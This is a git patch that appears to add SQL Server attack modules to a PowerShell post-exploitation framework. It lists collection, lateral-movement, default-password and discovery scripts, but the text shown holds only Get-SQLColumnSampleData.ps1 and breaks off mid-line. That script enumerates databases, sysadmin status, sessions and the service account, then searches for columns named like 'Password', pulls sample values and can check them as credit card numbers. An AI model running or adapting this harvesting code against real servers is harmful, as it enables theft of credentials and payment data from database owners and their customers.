From affd33d4131e12e24ca70b65fa93ab966b5d61b5 Mon Sep 17 00:00:00 2001 From: Alexander Date: Mon, 16 Jan 2017 14:08:27 -0600 Subject: [PATCH 1/3] 2.0 Initial Commit --- .../collection/Get-SQLColumnSampleData.ps1 | 929 ++++++++++++++++++ .../module_source/collection/Get-SQLQuery.ps1 | 113 +++ .../lateral_movement/Invoke-SQLOSCmd.ps1 | 236 +++++ .../recon/Get-SQLServerLoginDefaultPw.ps1 | 589 +++++++++++ .../Get-SQLInstanceDomain.ps1 | 260 +++++ .../Get-SQLServerInfo.ps1 | 426 ++++++++ .../collection/get_sql_column_sample_data.py | 111 +++ .../powershell/collection/get_sql_query.py | 89 ++ .../lateral_movement/invoke_sqloscmd.py | 131 +++ .../recon/get_sql_server_login_default_pw.py | 98 ++ .../network/get_sql_instance_domain.py | 118 +++ .../network/get_sql_server_info.py | 101 ++ 12 files changed, 3201 insertions(+) create mode 100644 data/module_source/collection/Get-SQLColumnSampleData.ps1 create mode 100644 data/module_source/collection/Get-SQLQuery.ps1 create mode 100644 data/module_source/lateral_movement/Invoke-SQLOSCmd.ps1 create mode 100644 data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1 create mode 100644 data/module_source/situational_awareness/Get-SQLInstanceDomain.ps1 create mode 100644 data/module_source/situational_awareness/Get-SQLServerInfo.ps1 create mode 100644 lib/modules/powershell/collection/get_sql_column_sample_data.py create mode 100644 lib/modules/powershell/collection/get_sql_query.py create mode 100644 lib/modules/powershell/lateral_movement/invoke_sqloscmd.py create mode 100644 lib/modules/powershell/recon/get_sql_server_login_default_pw.py create mode 100644 lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py create mode 100644 lib/modules/powershell/situational_awareness/network/get_sql_server_info.py diff --git a/data/module_source/collection/Get-SQLColumnSampleData.ps1 b/data/module_source/collection/Get-SQLColumnSampleData.ps1 new file mode 100644 index 0000000..704ef67 --- /dev/null +++ b/data/module_source/collection/Get-SQLColumnSampleData.ps1 @@ -0,0 +1,929 @@ +Function Get-ComputerNameFromInstance { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance.')] + [string]$Instance + ) + If ($Instance){$ComputerName = $Instance.split('\')[0].split(',')[0]} + else{$ComputerName = $env:COMPUTERNAME} + Return $ComputerName +} +Function Get-SQLConnectionObject { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Dedicated Administrator Connection (DAC).')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut = 1 + ) + Begin { + if($DAC){$DacConn = 'ADMIN:'}else{$DacConn = ''} + if(-not $Database){$Database = 'Master'} + } Process { + if (-not $Instance) { $Instance = $env:COMPUTERNAME } + $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection + if(-not $Username) { + $AuthenticationType = "Current Windows Credentials" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1" + } + elseif ($username -like "*\*") { + $AuthenticationType = "Provided Windows Credentials" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut" + } + elseif (($username) -and ($username -notlike "*\*")) { + $AuthenticationType = "Provided SQL Login" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut" + } + return $Connection + } End { + } +} +Function Get-SQLConnectionTest { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut + ) + Begin { + $TblResults = New-Object -TypeName System.Data.DataTable + $null = $TblResults.Columns.Add('ComputerName') + $null = $TblResults.Columns.Add('Instance') + $null = $TblResults.Columns.Add('Status') + } Process { + if(-not $Instance) { $Instance = $env:COMPUTERNAME } + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if($DAC) { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -DAC -TimeOut $TimeOut -Database $Database + } else { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database + } + try { + $Connection.Open() + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible') + $Connection.Close() + $Connection.Dispose() + } catch { + $ErrorMessage = $_.Exception.Message + "$Instance : Connection Failed." + "Error: $ErrorMessage" + } + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') + } End { + $TblResults + } +} +Function Get-SQLQuery2 { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server query.')] + [string]$Query, + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [int]$TimeOut, + [Parameter(Mandatory = $false, + HelpMessage = 'Return error message if exists.')] + [switch]$ReturnError + ) + Begin { + $TblQueryResults = New-Object -TypeName System.Data.DataTable + } Process { + if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database} + else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database} + $ConnectionString = $Connection.Connectionstring + $Instance = $ConnectionString.split(';')[0].split('=')[1] + if($Query) { + $Connection.Open() + "$Instance : Connection Success." + $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) + try { + $Results = $Command.ExecuteReader() + $TblQueryResults.Load($Results) + } catch { + #pass + } + $Connection.Close() + $Connection.Dispose() + } + else{'No query provided to Get-SQLQuery function.';Break} + } End { + if($ReturnError){$ErrorMessage} + else{$TblQueryResults} + } +} +Function Get-SQLQuery { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server query.')] + [string]$Query, + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [int]$TimeOut, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose, + [Parameter(Mandatory = $false, + HelpMessage = 'Return error message if exists.')] + [switch]$ReturnError + ) + + Begin { + $TblQueryResults = New-Object -TypeName System.Data.DataTable + } Process { + if($DAC) { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database + } else { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database + } + + $ConnectionString = $Connection.Connectionstring + $Instance = $ConnectionString.split(';')[0].split('=')[1] + + if($Query) { + try { + $Connection.Open() + $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) + $Results = $Command.ExecuteReader() + $TblQueryResults.Load($Results) + $Connection.Close() + $Connection.Dispose() + } catch { + #Pass + } + } + else + { + Write-Output -InputObject 'No query provided to Get-SQLQuery function.' + Break + } + } + + End + { + $TblQueryResults + } +} +Function Get-SQLColumn { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database name.')] + [string]$DatabaseName, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Table name.')] + [string]$TableName, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Filter by exact column name.')] + [string]$ColumnName, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Column name using wildcards in search. Supports comma seperated list.')] + [string]$ColumnNameSearch, + + [Parameter(Mandatory = $false, + HelpMessage = "Don't select tables from default databases.")] + [switch]$NoDefaults, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Table for output + $TblColumns = New-Object -TypeName System.Data.DataTable + + # Setup table filter + if($TableName) + { + $TableNameFilter = " and TABLE_NAME like '%$TableName%'" + } + else + { + $TableNameFilter = '' + } + + # Setup column filter + if($ColumnName) + { + $ColumnFilter = " and column_name like '$ColumnName'" + } + else + { + $ColumnFilter = '' + } + + # Setup column filter + if($ColumnNameSearch) + { + $ColumnSearchFilter = " and column_name like '%$ColumnNameSearch%'" + } + else + { + $ColumnSearchFilter = '' + } + + # Setup column search filter + if($ColumnNameSearch) + { + $Keywords = $ColumnNameSearch.split(',') + + [int]$i = $Keywords.Count + while ($i -gt 0) + { + $i = $i - 1 + $Keyword = $Keywords[$i] + + if($i -eq ($Keywords.Count -1)) + { + $ColumnSearchFilter = "and column_name like '%$Keyword%'" + } + else + { + $ColumnSearchFilter = $ColumnSearchFilter + " or column_name like '%$Keyword%'" + } + } + } + } + + Process + { + # Note: Tables queried by this function typically require sysadmin or DBO privileges. + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Setup NoDefault filter + if($NoDefaults) + { + # Get list of databases + $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -DatabaseName $DatabaseName -HasAccess -NoDefaults + } + else + { + # Get list of databases + $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -DatabaseName $DatabaseName -HasAccess + } + + # Get tables for each database + $TblDatabases | + ForEach-Object -Process { + # Get database name + $DbName = $_.DatabaseName + + # Define Query + $Query = " USE $DbName; + SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + TABLE_CATALOG AS [DatabaseName], + TABLE_SCHEMA AS [SchemaName], + TABLE_NAME as [TableName], + COLUMN_NAME as [ColumnName], + DATA_TYPE as [ColumnDataType], + CHARACTER_MAXIMUM_LENGTH as [ColumnMaxLength] + FROM [$DbName].[INFORMATION_SCHEMA].[COLUMNS] WHERE 1=1 + $ColumnSearchFilter + $ColumnFilter + $TableNameFilter + ORDER BY TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME" + + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + + # Append results + $TblColumns = $TblColumns + $TblResults + } + } + + End + { + # Return data + $TblColumns + } +} +Function Get-SQLDatabase { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database name.')] + [string]$DatabaseName, + [Parameter(Mandatory = $false, + HelpMessage = 'Only select non default databases.')] + [switch]$NoDefaults, + [Parameter(Mandatory = $false, + HelpMessage = 'Only select databases the current user has access to.')] + [switch]$HasAccess, + [Parameter(Mandatory = $false, + HelpMessage = 'Only select databases owned by a sysadmin.')] + [switch]$SysAdminOnly, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin { + $TblResults = New-Object -TypeName System.Data.DataTable + $TblDatabases = New-Object -TypeName System.Data.DataTable + $null = $TblDatabases.Columns.Add('ComputerName') + $null = $TblDatabases.Columns.Add('Instance') + $null = $TblDatabases.Columns.Add('DatabaseId') + $null = $TblDatabases.Columns.Add('DatabaseName') + $null = $TblDatabases.Columns.Add('DatabaseOwner') + $null = $TblDatabases.Columns.Add('OwnerIsSysadmin') + $null = $TblDatabases.Columns.Add('is_trustworthy_on') + $null = $TblDatabases.Columns.Add('is_db_chaining_on') + $null = $TblDatabases.Columns.Add('is_broker_enabled') + $null = $TblDatabases.Columns.Add('is_encrypted') + $null = $TblDatabases.Columns.Add('is_read_only') + $null = $TblDatabases.Columns.Add('create_date') + $null = $TblDatabases.Columns.Add('recovery_model_desc') + $null = $TblDatabases.Columns.Add('FileName') + $null = $TblDatabases.Columns.Add('DbSizeMb') + $null = $TblDatabases.Columns.Add('has_dbaccess') + + if($DatabaseName) { + $DatabaseFilter = " and a.name like '$DatabaseName'" + } else { + $DatabaseFilter = '' + } + + if($NoDefaults) { + $NoDefaultsFilter = " and a.name not in ('master','tempdb','msdb','model')" + } else { + $NoDefaultsFilter = '' + } + + if($HasAccess) { + $HasAccessFilter = ' and HAS_DBACCESS(a.name)=1' + } else { + $HasAccessFilter = '' + } + + if($SysAdminOnly) { + $SysAdminOnlyFilter = " and IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid))=1" + } else { + $SysAdminOnlyFilter = '' + } + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + + if($TestConnection) { + if( -not $SuppressVerbose) { + "$Instance : Connection Success." + } + } else { + if( -not $SuppressVerbose) { + "$Instance : Connection Failed." + } + return + } + + $SQLServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password + if($SQLServerInfo.SQLServerVersionNumber) { + $SQLVersionShort = $SQLServerInfo.SQLServerVersionNumber.Split('.')[0] + } + + $QueryStart = " SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + a.database_id as [DatabaseId], + a.name as [DatabaseName], + SUSER_SNAME(a.owner_sid) as [DatabaseOwner], + IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid)) as [OwnerIsSysadmin], + a.is_trustworthy_on, + a.is_db_chaining_on," + + if([int]$SQLVersionShort -ge 10) { + $QueryVerSpec = ' + a.is_broker_enabled, + a.is_encrypted, + a.is_read_only,' + } + + $QueryEnd = ' + a.create_date, + a.recovery_model_desc, + b.filename as [FileName], + (SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2)) + from sys.master_files where name like a.name) as [DbSizeMb], + HAS_DBACCESS(a.name) as [has_dbaccess] + FROM [sys].[databases] a + INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid WHERE 1=1' + + $Filters = " + $DatabaseFilter + $NoDefaultsFilter + $HasAccessFilter + $SysAdminOnlyFilter + ORDER BY a.database_id" + + $Query = "$QueryStart $QueryVerSpec $QueryEnd $Filters" + + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + + $TblResults | ForEach-Object -Process { + if([int]$SQLVersionShort -ge 10) { + $is_broker_enabled = $_.is_broker_enabled + $is_encrypted = $_.is_encrypted + $is_read_only = $_.is_read_only + } else { + $is_broker_enabled = 'NA' + $is_encrypted = 'NA' + $is_read_only = 'NA' + } + + $null = $TblDatabases.Rows.Add( + $_.ComputerName, + $_.Instance, + $_.DatabaseId, + $_.DatabaseName, + $_.DatabaseOwner, + $_.OwnerIsSysadmin, + $_.is_trustworthy_on, + $_.is_db_chaining_on, + $is_broker_enabled, + $is_encrypted, + $is_read_only, + $_.create_date, + $_.recovery_model_desc, + $_.FileName, + $_.DbSizeMb, + $_.has_dbaccess + ) + } + + } End { + $TblDatabases + } +} +Function Get-SQLServerInfo { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance + ) + Begin { + $TblServerInfo = New-Object -TypeName System.Data.DataTable + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | + ? -FilterScript { + $_.Status -eq 'Accessible' + } + if(-not $TestConnection) { + "$Instance : Connection Failed." + return + } + $ActiveSessions = Get-SQLSession -Instance $Instance -Username $Username -Password $Password | + ? -FilterScript { $_.SessionStatus -eq 'running' } | measure -Line | select -Property Lines -ExpandProperty Lines + $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Username $Username -Password $Password + if($IsSysadmin.IsSysadmin -eq 'Yes') { + $SysadminSetup = " + DECLARE @MachineType SYSNAME + EXECUTE master.dbo.xp_regread + @rootkey = N'HKEY_LOCAL_MACHINE', + @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions', + @value_name = N'ProductType', + @value = @MachineType output + DECLARE @ProductName SYSNAME + EXECUTE master.dbo.xp_regread + @rootkey = N'HKEY_LOCAL_MACHINE', + @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion', + @value_name = N'ProductName', + @value = @ProductName output" + $SysadminQuery = ' @MachineType as [OsMachineType], + @ProductName as [OSVersionName],' + } else { + $SysadminSetup = '' + $SysadminQuery = '' + } + + $Query = " + DECLARE @SQLServerInstance varchar(250) + DECLARE @SQLServerServiceName varchar(250) + if @@SERVICENAME = 'MSSQLSERVER' + BEGIN + set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER' + set @SQLServerServiceName = 'MSSQLSERVER' + END + ELSE + BEGIN + set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250)) + set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250)) + END + + DECLARE @ServiceaccountName varchar(250) + EXECUTE master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', @SQLServerInstance, + N'ObjectName',@ServiceAccountName OUTPUT, N'no_output' + + DECLARE @AuthenticationMode INT + EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', + N'Software\Microsoft\MSSQLServer\MSSQLServer', + N'LoginMode', @AuthenticationMode OUTPUT + + $SysadminSetup + + SELECT '$ComputerName' as [ComputerName], + @@servername as [Instance], + DEFAULT_DOMAIN() as [DomainName], + @SQLServerServiceName as [ServiceName], + @ServiceAccountName as [ServiceAccount], + (SELECT CASE @AuthenticationMode + WHEN 1 THEN 'Windows Authentication' + WHEN 2 THEN 'Windows and SQL Server Authentication' + ELSE 'Unknown' + END) as [AuthenticationMode], + CASE SERVERPROPERTY('IsClustered') + WHEN 0 + THEN 'No' + ELSE 'Yes' + END as [Clustered], + SERVERPROPERTY('productversion') as [SQLServerVersionNumber], + SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion], + serverproperty('Edition') as [SQLServerEdition], + SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack], + SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture], + $SysadminQuery + RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber], + SYSTEM_USER as [Currentlogin], + '$IsSysadmin' as [IsSysadmin], + '$ActiveSessions' as [ActiveSessions]" + $TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + $TblServerInfo = $TblServerInfo + $TblServerInfoTemp + $TblServerInfo + } End { + } +} +Function Get-SQLSession { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'PrincipalName.')] + [string]$PrincipalName + ) + Begin { + $TblSessions = New-Object -TypeName System.Data.DataTable + $null = $TblSessions.Columns.Add('ComputerName') + $null = $TblSessions.Columns.Add('Instance') + $null = $TblSessions.Columns.Add('PrincipalSid') + $null = $TblSessions.Columns.Add('PrincipalName') + $null = $TblSessions.Columns.Add('OriginalPrincipalName') + $null = $TblSessions.Columns.Add('SessionId') + $null = $TblSessions.Columns.Add('SessionStartTime') + $null = $TblSessions.Columns.Add('SessionLoginTime') + $null = $TblSessions.Columns.Add('SessionStatus') + if($PrincipalName) { + $PrincipalNameFilter = " and login_name like '$PrincipalName'" + } else { + $PrincipalNameFilter = '' + } + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | ? -FilterScript { + $_.Status -eq 'Accessible' + } + if(-not $TestConnection) { + "$Instance : Connection Failed." + return + } + $Query = " USE master; + SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + security_id as [PrincipalSid], + login_name as [PrincipalName], + original_login_name as [OriginalPrincipalName], + session_id as [SessionId], + last_request_start_time as [SessionStartTime], + login_time as [SessionLoginTime], + status as [SessionStatus] + FROM [sys].[dm_exec_sessions] + ORDER BY status + $PrincipalNameFilter" + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + $TblResults | % -Process { + if ($NewSid) { + $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','') + if ($NewSid.length -le 10) { + $Sid = [Convert]::ToInt32($NewSid,16) + } else { + $Sid = $NewSid + } + $null = $TblSessions.Rows.Add( + [string]$_.ComputerName, + [string]$_.Instance, + $Sid, + [string]$_.PrincipalName, + [string]$_.OriginalPrincipalName, + [string]$_.SessionId, + [string]$_.SessionStartTime, + [string]$_.SessionLoginTime, + [string]$_.SessionStatus + ) + } + } + } End { + $TblSessions + } +} +Function Get-SQLSysadminCheck { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance + ) + Begin { + $TblSysadminStatus = New-Object -TypeName System.Data.DataTable + if($CredentialName) { + $CredentialNameFilter = " WHERE name like '$CredentialName'" + } else { + $CredentialNameFilter = '' + } + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | + ? -FilterScript { $_.Status -eq 'Accessible' } + if(-not $TestConnection) { + "$Instance : Connection Failed." + return + } + $Query = "SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + CASE + WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No' + ELSE 'Yes' + END as IsSysadmin" + $TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + $TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp + } End { + $TblSysadminStatus + } +} +Function Get-SQLColumnSampleData { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = "Don't output anything.")] + [switch]$NoOutput, + [Parameter(Mandatory = $false, + HelpMessage = 'Number of records to sample.')] + [int]$SampleSize = 1, + [Parameter(Mandatory = $false, + HelpMessage = 'Comma seperated list of keywords to search for.')] + [string]$Keywords = 'Password', + [Parameter(Mandatory = $false, + HelpMessage = 'Database name to filter on.')] + [string]$DatabaseName, + [Parameter(Mandatory = $false, + HelpMessage = 'Use Luhn formula to check if sample is a valid credit card.')] + [switch]$ValidateCC, + [Parameter(Mandatory = $false, + HelpMessage = "Don't select tables from default databases.")] + [switch]$NoDefaults + ) + Begin { + $TblData = New-Object -TypeName System.Data.DataTable + $null = $TblData.Columns.Add('ComputerName') + $null = $TblData.Columns.Add('Instance') + $null = $TblData.Columns.Add('Database') + $null = $TblData.Columns.Add('Schema') + $null = $TblData.Columns.Add('Table') + $null = $TblData.Columns.Add('Column') + $null = $TblData.Columns.Add('Sample') + $null = $TblData.Columns.Add('RowCount') + if($ValidateCC) { $null = $TblData.Columns.Add('IsCC') } + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { $Instance = $env:COMPUTERNAME } + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | ? -FilterScript { $_.Status -eq 'Accessible' } + if(-not $TestConnection) { + "$Instance : CONNECTION FAILED" + Return + } else { + "$Instance : START SEARCH DATA BY COLUMN `n" + "$Instance : - Connection Success. `n" + "$Instance : - Searching for column names that match criteria... `n" + if($NoDefaults) { + $Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -DatabaseName $DatabaseName -ColumnNameSearch $Keywords -NoDefaults + } else { + $Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -DatabaseName $DatabaseName -ColumnNameSearch $Keywords + } + } + if($Columns) { + $Columns | % -Process { + Write-Verbose $_.DatabaseName + $sDatabaseName = $_.DatabaseName + $sSchemaName = $_.SchemaName + $sTableName = $_.TableName + $sColumnName = $_.ColumnName + $AffectedColumn = "[$sDatabaseName].[$sSchemaName].[$sTableName].[$sColumnName]" + $AffectedTable = "[$sDatabaseName].[$sSchemaName].[$sTableName]" + $Query = "USE $sDatabaseName; SELECT TOP $SampleSize [$sColumnName] FROM $AffectedTable WHERE [$sColumnName] is not null" + $QueryRowCount = "USE $sDatabaseName; SELECT count(CAST([$sColumnName] as VARCHAR(200))) as NumRows FROM $AffectedTable WHERE [$sColumnName] is not null" + + "$Instance : - Table match: $AffectedTable `n" + "$Instance : - Column match: $AffectedColumn `n" + "$Instance : - Selecting $SampleSize rows of data sample from column $AffectedColumn. `n" + + $RowCountOut = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Query $QueryRowCount + $RowCount = $RowCountOut.NumRows + $SQLQuery = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Query $Query + $SQLQuery.$sColumnName | % -Process { + $null = $TblData.Rows.Add($ComputerName, $Instance, $sDatabaseName, $sSchemaName, $sTableName, $sColumnName, $_, $RowCount) + } + } + } else { + "$Instance : - No columns were found that matched the search. `n" + } + "$Instance : END SEARCH DATA BY COLUMN `n`n" + } End { + ForEach ($Row in $TblData) { + "ComputerName : " + $Row.ComputerName + "`n" + "Instance : " + $Row.Instance + "`n" + "Database : " + $Row.Database + "`n" + "Schema : " + $Row.Schema + "`n" + "Table : " + $Row.Table + "`n" + "Column : " 